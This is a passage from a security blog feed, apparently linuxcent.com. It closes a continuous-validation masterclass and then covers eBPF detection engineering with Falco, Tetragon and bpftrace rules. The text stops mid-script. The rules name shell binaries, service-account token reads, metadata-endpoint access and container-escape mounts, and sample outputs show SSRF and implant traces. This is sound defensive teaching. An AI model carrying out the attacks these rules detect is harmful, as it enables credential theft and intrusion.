<td style="text-align: left;">Object Lock Compliance mode holds under attempted deletion</td>
<td style="text-align: left;">Attempt to delete/modify a WORM-locked backup object with admin credentials</td>
</tr>
<tr>
<td style="text-align: left;">M5 (AI Triage)</td>
<td style="text-align: left;">RAG pipeline correctly retrieves and cites relevant evidence for a simulated alert</td>
<td style="text-align: left;">Inject a known-pattern alert, verify the drafted summary cites the correct runbook</td>
</tr>
</tbody>
</table>
<p>Running these specific, mapped checks on a schedule — weekly or per-deploy, not annually — is what separates continuous validation from a checklist audit. It&#8217;s also directly in the spirit of the <a href="https://linuxcent.com/what-is-purple-team-security/">attack-and-detect framing this site&#8217;s Purple Team series</a> uses throughout: red team technique, blue team detection, purple team is the discipline of running both together on purpose.</p>
<hr />
<h2 id="the-part-tooling-cant-fix-security-culture">The Part Tooling Can&#8217;t Fix: Security Culture</h2>
<p>A validation run that surfaces a real gap and produces a Jira ticket that sits untouched for two quarters has not improved anything — it&#8217;s produced evidence of a known, unfixed gap, which is a worse position than not knowing. Continuous validation only works inside an organization where a finding routes to an owner, gets prioritized against other engineering work honestly (this is Module 2&#8217;s DREAD scoring, applied to validation findings instead of design-time threats), and gets re-tested after the fix ships to confirm it actually closed.</p>
<p>The Feedback Loop that closes this masterclass is this: <strong>Threat Model (M2) → Harden (M3/M4) → Validate (M6) → feed validation findings back into the next threat model.</strong> A gap continuous validation finds isn&#8217;t just a bug to fix — it&#8217;s a signal that the original threat model missed something, and the next STRIDE pass on that system should account for it explicitly.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>Running attack simulations against shared/production environments without coordination causes real incidents.</strong> Detonating <code class="" data-line="">iam-create-admin-user</code> against a live account without warning your own SOC produces a real, confusing incident response — schedule and announce validation runs the same way you&#8217;d announce a game day exercise.</p>
<p><strong>Cleanup failures leave real vulnerable resources behind.</strong> <code class="" data-line="">stratus cleanup</code> can fail silently if a dependent resource was modified mid-run — verify cleanup completed, don&#8217;t assume the tool always tears down what it created.</p>
<p><strong>Technique libraries go stale as cloud provider APIs change.</strong> A technique written against an older IAM API surface may silently fail to actually reproduce the attack path — validate that a &#8220;no alert&#8221; result means the control held, not that the technique itself broke.</p>
<p><strong>Validation findings that don&#8217;t map to an owning team die in a backlog.</strong> Route every finding to the specific service/team whose control failed, the same way you&#8217;d route a production incident — a finding owned by &#8220;security team, generally&#8221; doesn&#8217;t get fixed.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Framework</th>
<th style="text-align: left;">Control / ID</th>
<th style="text-align: left;">Architectural Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;"><strong>NIST CSF 2.0</strong></td>
<td style="text-align: left;">ID.IM-02</td>
<td style="text-align: left;">Improvements are identified from security tests and exercises, including continuous validation.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>NIST SP 800-207</strong></td>
<td style="text-align: left;">Zero Trust</td>
<td style="text-align: left;">Continuous validation is the operational proof that &#8220;continuous verification&#8221; (Module 1) is actually happening, not just designed.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>ISO 27001:2022</strong></td>
<td style="text-align: left;">8.29</td>
<td style="text-align: left;">Security testing in development and acceptance — extended here to continuous, production-equivalent testing.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>SOC 2</strong></td>
<td style="text-align: left;">CC4.1</td>
<td style="text-align: left;">The entity selects, develops, and performs ongoing evaluations to ascertain whether controls are present and functioning.</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Continuous security validation runs specific, MITRE ATT&amp;CK-mapped techniques against your own infrastructure on a schedule — not a once-a-year pentest</li>
<li>A clean run is ambiguous by default — confirm the alert actually fired and routed correctly, don&#8217;t assume the absence of an incident means the control worked</li>
<li>Map validation techniques directly back to the specific controls this masterclass built, not a generic attack library</li>
<li>Security culture — findings that route to an owner and get re-tested after the fix — is what makes validation matter; tooling alone doesn&#8217;t</li>
<li>The Feedback Loop is the masterclass&#8217;s actual conclusion: threat model, harden, validate, and feed what you learn back into the next threat model</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>That closes the six-module arc: from dismantling the castle-and-moat (Module 1), through systematic threat modeling (Module 2), hardening the cloud identity perimeter (Module 3), surviving ransomware with immutable data (Module 4), accelerating detection with AI (Module 5), to proving all of it actually holds (Module 6). The loop doesn&#8217;t end here — every validation finding is the start of the next threat model.</p>
<p>Get new masterclass content and future modules in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&#038;title=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" data-a2a-url="https://linuxcent.com/continuous-security-validation/" data-a2a-title="Continuous Security Validation: Proving Your Architecture Works"></a></p><p>The post <a href="https://linuxcent.com/continuous-security-validation/">Continuous Security Validation: Proving Your Architecture Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/continuous-security-validation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2204</post-id>	</item>
		<item>
		<title>Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</title>
		<link>https://linuxcent.com/detection-engineering-ebpf-cloud/</link>
					<comments>https://linuxcent.com/detection-engineering-ebpf-cloud/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Detection Engineering]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Falco]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tetragon]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1873</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 13</span> <span class="rt-label rt-postfix">minutes</span></span>eBPF gives detection engineers kernel-level visibility that no attacker can evade without kernel access. Build detection rules for the techniques your SIEM misses entirely.</p>
<p>The post <a href="https://linuxcent.com/detection-engineering-ebpf-cloud/">Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 13</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape/">Kubernetes container escape</a> → <a href="/supply-chain-attack-detection/">Supply chain attack detection</a> → <a href="/cloud-lateral-movement-iam-role-chaining/">Cloud lateral movement</a> → <strong>Detection Engineering with eBPF</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Detection engineering with eBPF</strong> addresses OWASP A09 directly: most process-level attack techniques leave no trace in CloudTrail, VPC Flow Logs, or syslog — eBPF hooks in the kernel observe them before the attacker has any ability to suppress the record</li>
<li>CloudTrail is API-plane only; VPC Flow Logs are network-plane only with a 15-minute aggregation delay and no process context; syslog captures only what userspace processes voluntarily emit — all three miss the OS-level attack surface entirely</li>
<li>eBPF attaches to kernel syscall tracepoints and kprobes to capture <code class="" data-line="">connect()</code>, <code class="" data-line="">execve()</code>, <code class="" data-line="">mount()</code>, <code class="" data-line="">setuid()</code>, and <code class="" data-line="">open()</code> with full context: PID, process name, container cgroup, parent process, timestamp — in real time</li>
<li>Falco and Tetragon are the production-grade always-on options; bpftrace is the ad-hoc investigation tool — use each for what it is designed for</li>
<li>Tetragon&#8217;s <code class="" data-line="">TracingPolicy</code> can kill a process at the moment of the violating syscall, before the attack completes — this is enforcement, not just alerting</li>
<li>Every attack in EP07 through EP10 has a detectable kernel-level signal; this episode maps each one to a concrete eBPF detection rule</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A09 Security Logging and Monitoring Failures — the structural gap this series has referenced from EP04 onward: attacks that succeed not because defenses are absent, but because the telemetry layer cannot see the OS surface where the attacks execute.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│                  DETECTION ENGINEERING WITH eBPF                        │
│                                                                         │
│   KERNEL SPACE                          USERSPACE                       │
│                                                                         │
│   syscall/kprobe hooks                                                  │
│   ┌──────────────────┐                                                  │
│   │ connect()        │──&#x25b6; ring buffer ──&#x25b6; Tetragon ──&#x25b6; Hubble/SIEM     │
│   │ execve()         │                                                  │
│   │ mount()          │──&#x25b6; ring buffer ──&#x25b6; Falco   ──&#x25b6; Slack/PagerDuty │
│   │ setuid()         │                                                  │
│   │ open()           │──&#x25b6; perf buffer ──&#x25b6; bpftrace ──&#x25b6; stdout/log     │
│   └──────────────────┘                                                  │
│          │                                                              │
│          │  Context captured at hook:                                   │
│          │  PID · comm · cgroup (container ID) · args · timestamp      │
│          │  parent PID · network namespace · mount namespace           │
│                                                                         │
│   ═══════════════════════════════════════════════════════════           │
│   WHAT OTHER TOOLS SEE                                                  │
│   CloudTrail:     API calls only — nothing below the AWS SDK            │
│   VPC Flow Logs:  src/dst IP+port only — 15-min delay, no PID          │
│   Syslog:         What the process chose to log — attacker controls it  │
│   eBPF:           Every syscall — attacker cannot suppress it          │
│                   without kernel access                                 │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Detection engineering with eBPF</strong> closes the observability gap that every previous episode in this series exploited. The SSRF in EP07 made an outbound connection to 169.254.169.254 — the EC2 metadata endpoint — from a web application process. VPC Flow Logs show that IP eventually. CloudTrail shows nothing. eBPF shows the <code class="" data-line="">connect()</code> syscall with the PID, the process name, the container cgroup ID, and the timestamp, in the sub-millisecond window it occurred.</p>
<hr />
<h2 id="the-problem-your-siem-has-a-15-minute-hole">The Problem: Your SIEM Has a 15-Minute Hole</h2>
<p>During a cloud incident response engagement, the question came up in the first hour: did this process make any outbound connections in the last 30 minutes?</p>
<p>Four telemetry sources, four answers:</p>
<p><strong>CloudTrail:</strong> Not applicable. CloudTrail records AWS API calls. A process inside an EC2 instance making a raw TCP connection to an external IP — or to the metadata endpoint — is OS-level activity. CloudTrail has no record of it.</p>
<p><strong>VPC Flow Logs:</strong> Maybe, eventually. Flow Logs aggregate at 1-minute or 10-minute intervals (configurable), then land in S3 or CloudWatch Logs with additional delay. In practice, you&#8217;re looking at 10–15 minutes before the data is queryable. The flow record contains source IP, destination IP, source port, destination port, protocol, bytes, packets — and nothing else. There is no PID. There is no process name. There is no indication of which container inside the EC2 instance made the connection. If ten pods are running on the same node, VPC Flow Logs tells you the node talked to an external IP. You don&#8217;t know which pod.</p>
<p><strong>Syslog:</strong> Nothing logged. The process — a compromised web application exploited via SSRF — didn&#8217;t log the connection. It wouldn&#8217;t. Application code doesn&#8217;t emit syslog entries for every outbound connection it makes. And an attacker controlling the process would not add logging.</p>
<p><strong>eBPF TC hook:</strong> Every TCP connection attempt, from the moment it entered the network stack, with PID, process name, container cgroup ID, destination IP, destination port, source IP, and timestamp — in real time, with zero delay.</p>
<p>That is the gap. Everything in EP04 through EP10 of this series lived in it.</p>
<p>The OWASP A09 framing is exactly right: these are not failures of detection rules, they are failures of the telemetry layer. You cannot write a SIEM rule for data that is never collected. eBPF collects the data that the other layers structurally cannot.</p>
<hr />
<h2 id="what-ebpf-detects-that-other-tools-miss">What eBPF Detects That Other Tools Miss</h2>
<table>
<thead>
<tr>
<th>Technique</th>
<th>CloudTrail</th>
<th>VPC Flow Logs</th>
<th>Syslog</th>
<th>eBPF</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process spawn inside container</td>
<td>No</td>
<td>No</td>
<td>Maybe (if auditd configured)</td>
<td>Yes — execve(): PID, command, args, parent PID, container cgroup</td>
</tr>
<tr>
<td>Outbound TCP connection</td>
<td>No</td>
<td>IP+port, 15-min delay, no PID</td>
<td>No</td>
<td>connect(): IP+port+PID+comm+container, real-time</td>
</tr>
<tr>
<td>File write to /etc/passwd</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>openat()+write(): exact path, PID, comm, container</td>
</tr>
<tr>
<td>Privilege escalation (setuid/setgid)</td>
<td>No</td>
<td>No</td>
<td>Maybe (auditd)</td>
<td>Yes — setuid() syscall args: target UID, calling PID, comm</td>
</tr>
<tr>
<td>Container escape attempt via mount</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>mount(): args, mount namespace ID, calling PID — namespace mismatch detectable</td>
</tr>
<tr>
<td>SSRF to 169.254.169.254</td>
<td>No</td>
<td>IP only, 15-min delay</td>
<td>No</td>
<td>connect() from app process to metadata IP — PID, comm, container, real-time</td>
</tr>
<tr>
<td>Binary execution with unusual parent</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>execve(): full parent chain — detects shell spawned from web process</td>
</tr>
<tr>
<td>Kubernetes secret file read</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>openat() on /run/secrets/kubernetes.io/serviceaccount/token</td>
</tr>
<tr>
<td>STS credential fetch from Lambda</td>
<td>No</td>
<td>Endpoint IP only</td>
<td>No</td>
<td>connect() to sts.amazonaws.com from unexpected process</td>
</tr>
</tbody>
</table>
<p>The pattern across the table is consistent: CloudTrail covers the AWS control plane. VPC Flow Logs cover the network plane with delay and no process context. Syslog covers what processes choose to emit. eBPF covers the syscall surface — the layer where every one of these events must pass, regardless of what the attacker wants.</p>
<blockquote>
<p><strong>For operators not writing eBPF:</strong> This table tells you what your current SIEM can and cannot see. If your threat model includes container escapes, SSRF-to-metadata attacks, or post-compromise lateral movement through process execution, the detection signal for those techniques does not exist in your CloudTrail or your flow logs. It exists only at the kernel level.</p>
</blockquote>
<hr />
<h2 id="detection-rule-1-unexpected-outbound-from-an-application-container">Detection Rule 1: Unexpected Outbound from an Application Container</h2>
<p>The SSRF attack in EP07 — and the lateral movement in EP10 — both required an outbound TCP connection from a process that had no legitimate reason to make one. This is the detection.</p>
<h3 id="ad-hoc-investigation-with-bpftrace">Ad-hoc investigation with bpftrace</h3>
<p>When you&#8217;re on a node right now and need to know what&#8217;s connecting outbound:</p>
<pre><code class="" data-line=""># Shows PID, process name, and destination IP in real time
# Run on the node (requires root or CAP_BPF)
bpftrace -e &#039;
#include &lt;linux/socket.h&gt;
#include &lt;linux/in.h&gt;

tracepoint:syscalls:sys_enter_connect {
  $sa = (struct sockaddr_in *)args-&gt;uservaddr;
  if ($sa-&gt;sin_family == AF_INET) {
    printf(&quot;connect: pid=%-6d comm=%-20s dst=%s:%d\n&quot;,
           pid,
           comm,
           ntop($sa-&gt;sin_addr.s_addr),
           (uint16)bswap($sa-&gt;sin_port));
  }
}
&#039;
</code></pre>
<p>Sample output — what you&#8217;d see during an SSRF exploit targeting the EC2 metadata service:</p>
<pre><code class="" data-line="">connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18422  comm=python3              dst=169.254.169.254:80
connect: pid=18432  comm=curl                 dst=169.254.169.254:80
</code></pre>
<p>The <code class="" data-line="">python3</code> process — your web application — connecting to <code class="" data-line="">169.254.169.254</code> is the metadata endpoint. That&#8217;s not a legitimate application dependency. That&#8217;s the SSRF signal.</p>
<blockquote>
<p><strong><a href="/bpftrace-kernel-observability/">bpftrace — kernel answers in one line</a></strong> goes deep on the tracepoint/kprobe model and how to filter by cgroup for container-specific traces. The one-liners above are the starting point; that post covers building targeted investigation scripts.</p>
</blockquote>
<h3 id="production-grade-enforcement-with-tetragon">Production-grade enforcement with Tetragon</h3>
<p>bpftrace is for investigation. Tetragon is for always-on detection — and optionally, prevention.</p>
<pre><code class="" data-line=""># TracingPolicy: alert on outbound connections from non-host network namespaces
# (any container making outbound TCP connections)
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-outbound-connections&quot;
spec:
  kprobes:
  - call: &quot;tcp_connect&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;sock&quot;
    selectors:
    - matchNamespaces:
      - namespace: Net
        operator: NotIn
        values:
        - &quot;host&quot;
      matchActions:
      - action: Post   # Generate an alert event; change to Sigkill to prevent
</code></pre>
<p>To detect specifically the SSRF-to-metadata pattern — connections to <code class="" data-line="">169.254.169.254</code>:</p>
<pre><code class="" data-line="">apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-imds-access&quot;
spec:
  kprobes:
  - call: &quot;tcp_connect&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;sock&quot;
    selectors:
    - matchArgs:
      - index: 0
        operator: &quot;Equal&quot;
        values:
        - &quot;169.254.169.254/32&quot;
      matchActions:
      - action: Post
        rateLimit: &quot;1/minute&quot;
</code></pre>
<p>Tetragon events include <code class="" data-line="">process_kprobe</code> JSON with the pod name, namespace, container ID, binary path, parent binary, and all arguments. This feeds directly into your SIEM or to Hubble&#8217;s flow log.</p>
<hr />
<h2 id="detection-rule-2-process-execution-inside-a-container">Detection Rule 2: Process Execution Inside a Container</h2>
<p>A shell spawning inside a container that has no business running a shell is a post-compromise indicator. It covers the container escape setup from EP08, the supply chain implant from EP09, and any hands-on-keyboard phase after initial access.</p>
<h3 id="falco-rule-shell-spawned-from-application-container">Falco rule: shell spawned from application container</h3>
<pre><code class="" data-line=""># Falco rule: detect any shell spawned in a container
# Add to /etc/falco/rules.d/purple-team.yaml
- list: shell_binaries
  items: [bash, sh, zsh, ksh, fish, tcsh, csh, dash]

- list: allowed_shell_images
  items: [
    &quot;debug-tools&quot;,     # Your approved debug container image names
    &quot;toolbox&quot;
  ]

- rule: Shell Spawned in Container
  desc: &gt;
    A shell was spawned inside a container. In application containers (web servers,
    APIs, data processors) this is almost always a post-compromise indicator.
  condition: &gt;
    evt.type = execve and
    evt.dir = &lt; and
    container and
    container.image.repository != &quot;&quot; and
    proc.name in (shell_binaries) and
    not proc.pname in (shell_binaries) and
    not container.image.repository in (allowed_shell_images) and
    not k8s.ns.name in (kube-system, kube-public)
  output: &gt;
    Shell spawned in container
    (user=%user.name
     container=%container.name
     image=%container.image.repository
     cmd=%proc.cmdline
     parent=%proc.pname
     pod=%k8s.pod.name
     ns=%k8s.ns.name)
  priority: WARNING
  tags: [purple-team, post-compromise, container]
</code></pre>
<p>The <code class="" data-line="">proc.pname</code> condition is the key signal: a shell spawned by a web server process (<code class="" data-line="">nginx</code>, <code class="" data-line="">node</code>, <code class="" data-line="">gunicorn</code>, <code class="" data-line="">java</code>) is a different threat than a shell spawned by another shell in a debug context. The rule above passes the second case through the <code class="" data-line="">allowed_shell_images</code> exclusion; it flags the first.</p>
<h3 id="detecting-the-supply-chain-implant-pattern">Detecting the supply chain implant pattern</h3>
<p>EP09 covered supply chain attacks where a build artifact executes unexpected binaries at runtime. The bpftrace version for ad-hoc investigation of what a specific container is executing:</p>
<pre><code class="" data-line=""># bpftrace: trace all execve() calls from processes inside a specific container
# First, find the container&#039;s cgroup ID:
# systemd-cgls | grep &lt;pod-name&gt;
# Or: cat /sys/fs/cgroup/unified/&lt;cgroup-path&gt;/cgroup.procs

bpftrace -e &#039;
tracepoint:syscalls:sys_enter_execve {
  printf(&quot;execve: pid=%-6d ppid=%-6d comm=%-20s file=%s\n&quot;,
         pid,
         curtask-&gt;real_parent-&gt;tgid,
         comm,
         str(args-&gt;filename));
}
&#039; 2&gt;/dev/null | grep -v &quot;^\[&quot; | head -50
</code></pre>
<p>Sample output during a supply chain compromise scenario — unexpected binary execution from a package manager implant:</p>
<pre><code class="" data-line="">execve: pid=31204  ppid=31190  comm=node                 file=/bin/sh
execve: pid=31205  ppid=31204  comm=sh                   file=/tmp/.x/beacon
execve: pid=31206  ppid=31205  comm=beacon               file=/usr/bin/curl
</code></pre>
<p>The chain <code class="" data-line="">node → sh → /tmp/.x/beacon → curl</code> — application process spawning a shell, which executes an unknown binary from <code class="" data-line="">/tmp</code>, which runs <code class="" data-line="">curl</code> — is the supply chain implant execution pattern. None of this appears in CloudTrail.</p>
<hr />
<h2 id="detection-rule-3-privilege-escalation-setuid0-and-capability-abuse">Detection Rule 3: Privilege Escalation — setuid(0) and Capability Abuse</h2>
<p>A process calling <code class="" data-line="">setuid(0)</code> to elevate to root, or <code class="" data-line="">setcap</code> to acquire new capabilities, is a privilege escalation indicator. The EP08 container escape path used a setuid binary to gain root inside the container as the first step toward escaping the namespace.</p>
<h3 id="bpftrace-catch-setuid0-calls-in-real-time">bpftrace: catch setuid(0) calls in real time</h3>
<pre><code class="" data-line=""># bpftrace: alert on any process calling setuid(0)
# Any process attempting to switch to UID 0
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_setuid {
  if (args-&gt;uid == 0) {
    printf(&quot;ALERT setuid(0): pid=%-6d comm=%-20s ppid=%d pcomm=%s\n&quot;,
           pid,
           comm,
           curtask-&gt;real_parent-&gt;tgid,
           str(curtask-&gt;real_parent-&gt;comm));
  }
}
tracepoint:syscalls:sys_enter_setresuid {
  if (args-&gt;ruid == 0 || args-&gt;euid == 0) {
    printf(&quot;ALERT setresuid(root): pid=%-6d comm=%-20s\n&quot;, pid, comm);
  }
}
&#039;
</code></pre>
<h3 id="falco-rule-setuid-binary-execution-inside-container">Falco rule: setuid binary execution inside container</h3>
<pre><code class="" data-line="">- rule: Setuid Binary Executed in Container
  desc: &gt;
    A setuid binary was executed inside a container. Setuid binaries inside
    containers are a privilege escalation path — they run as root regardless
    of the container&#039;s user setting.
  condition: &gt;
    evt.type = execve and
    evt.dir = &lt; and
    container and
    proc.is_suid_exe = true
  output: &gt;
    Setuid binary executed in container
    (binary=%proc.exepath
     user=%user.name
     container=%container.name
     pod=%k8s.pod.name
     cmd=%proc.cmdline)
  priority: ERROR
  tags: [purple-team, privilege-escalation, container]
</code></pre>
<hr />
<h2 id="detection-rule-4-container-escape-attempt-via-namespace-crossing-mount">Detection Rule 4: Container Escape Attempt via Namespace-Crossing Mount</h2>
<p>The privileged container escape path from EP08 requires calling <code class="" data-line="">mount()</code> from a container namespace to access the host filesystem. The kernel records the mount namespace of the calling process — an eBPF kprobe on <code class="" data-line="">mount()</code> can detect when the caller&#8217;s mount namespace differs from the host namespace.</p>
<h3 id="tetragon-policy-kill-any-mount-from-a-non-host-namespace">Tetragon policy: kill any mount from a non-host namespace</h3>
<pre><code class="" data-line=""># This covers the --privileged container escape path documented in EP08
# The mount() call that crosses from container namespace to host filesystem
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-container-mount-escape&quot;
spec:
  kprobes:
  - call: &quot;security_sb_mount&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;string&quot;     # dev_name
    - index: 3
      type: &quot;string&quot;     # mount flags
    selectors:
    - matchNamespaces:
      - namespace: Mnt
        operator: NotIn
        values:
        - &quot;host&quot;
      matchArgs:
      - index: 0
        operator: &quot;NotEqual&quot;
        values:
        - &quot;proc&quot;
        - &quot;sysfs&quot;
        - &quot;tmpfs&quot;        # Common legitimate mounts in containers
      matchActions:
      - action: Sigkill
        rateLimit: &quot;10/minute&quot;
</code></pre>
<p>Start with <code class="" data-line="">action: Post</code> and tune the exclusions for your environment before switching to <code class="" data-line="">Sigkill</code>. See the production gotchas below.</p>
<h3 id="bpftrace-ad-hoc-namespace-crossing-investigation">bpftrace: ad-hoc namespace crossing investigation</h3>
<pre><code class="" data-line=""># bpftrace: trace mount() calls and show the mount namespace of the caller
# Mount namespace ID of the host: read from /proc/1/ns/mnt
HOST_MNT_NS=$(readlink /proc/1/ns/mnt | grep -oP &#039;\d+&#039;)

bpftrace -e &#039;
#include &lt;linux/nsproxy.h&gt;
